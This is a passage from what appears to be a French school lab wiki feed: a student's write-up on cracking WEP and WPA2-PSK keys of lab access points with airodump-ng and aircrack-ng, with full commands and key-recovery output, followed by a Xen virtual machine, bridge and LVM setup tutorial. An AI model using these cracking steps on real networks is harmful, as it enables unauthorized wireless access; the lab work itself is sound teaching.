==== Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (service) ====&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12372</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12372"/>
		<updated>2026-02-24T13:05:05Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Cassage de clé WIFI */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : tu peux dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
===== Différence avec une machine physique =====&lt;br /&gt;
Sur un PC “réel”, tu es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* tu peux ajouter autant de VIF que tu veux '''en théorie'''&lt;br /&gt;
* en pratique : tu restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie tes '''3 machines''' (tes VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Objectif : que tes VMs communiquent entre elles comme si elles étaient branchées sur le même switch.&lt;br /&gt;
&lt;br /&gt;
'''VIF 2 : réseau “école / Internet / infra”'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le bridge qui donne l’accès au '''reste de l’infra''' + Internet&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (bridge officiel du TP)&lt;br /&gt;
&lt;br /&gt;
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)&lt;br /&gt;
&lt;br /&gt;
===== Mode “secours” : &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt; =====&lt;br /&gt;
Tant que le bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), tu peux utiliser :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ça te donne déjà :&lt;br /&gt;
&lt;br /&gt;
* Internet&lt;br /&gt;
* de quoi avancer sur une grosse partie du TP&lt;br /&gt;
&lt;br /&gt;
⚠️ Mais à la fin, pour la note max :&lt;br /&gt;
&lt;br /&gt;
Vous devez faire le '''brassage / branchement réel''' des commutateurs en '''E304 / E306 / E200''', et configurer la partie Cisco reliée au bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 3) Exemple de section réseau dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Networking&lt;br /&gt;
dhcp = 'dhcp'&lt;br /&gt;
vif  = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Comment lire ça ? =====&lt;br /&gt;
* &amp;lt;code&amp;gt;vif = [...]&amp;lt;/code&amp;gt; : liste des cartes réseau virtuelles&lt;br /&gt;
* chaque ligne décrit '''une VIF'''&lt;br /&gt;
* &amp;lt;code&amp;gt;mac=...&amp;lt;/code&amp;gt; : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; : le bridge Xen/Linux sur lequel tu connectes cette VIF&lt;br /&gt;
&lt;br /&gt;
c’est littéralement “sur quel switch virtuel tu branches le câble”&lt;br /&gt;
&lt;br /&gt;
==== 4) Lien avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt; (ce que tu retrouves dans le cfg) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;antlr-cpp&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \&lt;br /&gt;
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Elle fait plusieurs trucs automatiquement :&lt;br /&gt;
&lt;br /&gt;
* crée le disque système (&amp;lt;code&amp;gt;disk.img&amp;lt;/code&amp;gt;) + swap (&amp;lt;code&amp;gt;swap.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* configure le hostname&lt;br /&gt;
* met une config réseau DHCP&lt;br /&gt;
* et '''ajoute 1 bridge''' par défaut (&amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Mais elle ne connaît pas forcément ta future archi avec &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; séparés, ni le second bridge (SE4).&lt;br /&gt;
&lt;br /&gt;
Donc tu '''complètes à la main''' dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 5) Ajouter tes volumes logiques &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;disk = [...]&amp;lt;/code&amp;gt; ====&lt;br /&gt;
Dans ton fichier config, tu as une section :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Comprendre &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; → disque = '''fichier image''' (un &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt; → disque = '''vrai block device''' côté hôte (ex : volume LVM dans &amp;lt;code&amp;gt;/dev/virtual/...&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc pour brancher tes volumes logiques LVM, tu ajoutes :&amp;lt;syntaxhighlight lang=&amp;quot;ansys&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ce qui donne :&amp;lt;syntaxhighlight lang=&amp;quot;antlr-c#&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 6) C’est quoi &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
C’est juste '''le nom du disque vu par la VM'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; = “disque A virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; = “disque B virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; = “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)&lt;br /&gt;
&lt;br /&gt;
'''Ce qui compte vraiment'''&lt;br /&gt;
&lt;br /&gt;
✅ Que chaque “source” (file/phy) ait un '''identifiant unique''' côté VM.&lt;br /&gt;
&lt;br /&gt;
Le choix &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; n’a rien de magique : c’est juste une convention.&lt;br /&gt;
&lt;br /&gt;
'''Petit conseil pratique (propre et simple)'''&lt;br /&gt;
&lt;br /&gt;
* garde tout sur &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda4&amp;lt;/code&amp;gt;… (ça évite de te perdre)&lt;br /&gt;
* ou alors fais :&lt;br /&gt;
** &amp;lt;code&amp;gt;xvda...&amp;lt;/code&amp;gt; pour OS + swap&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; pour home&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdc&amp;lt;/code&amp;gt; pour var  (plus lisible quand tu en as beaucoup)&lt;br /&gt;
&lt;br /&gt;
Les deux se font. L’important, c’est d’être '''cohérent'''.&lt;br /&gt;
&lt;br /&gt;
==== 7) Le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; à la fin : super important ====&lt;br /&gt;
À la fin de chaque ligne de disque, tu as :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; = '''write''' (lecture + écriture)&lt;br /&gt;
* &amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; = read-only (lecture seule)&lt;br /&gt;
&lt;br /&gt;
Donc si tu oublies le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; sur un volume &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, tu vas vite te retrouver avec :&lt;br /&gt;
&lt;br /&gt;
* des erreurs d’écriture&lt;br /&gt;
* ou un système qui refuse de monter le FS correctement  Pour des volumes de données, c’est '''toujours &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Montage des partitions et fichier &amp;quot;fstab&amp;quot;&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Très important : ça se fait dans la VM, pas sur capbreton ====&lt;br /&gt;
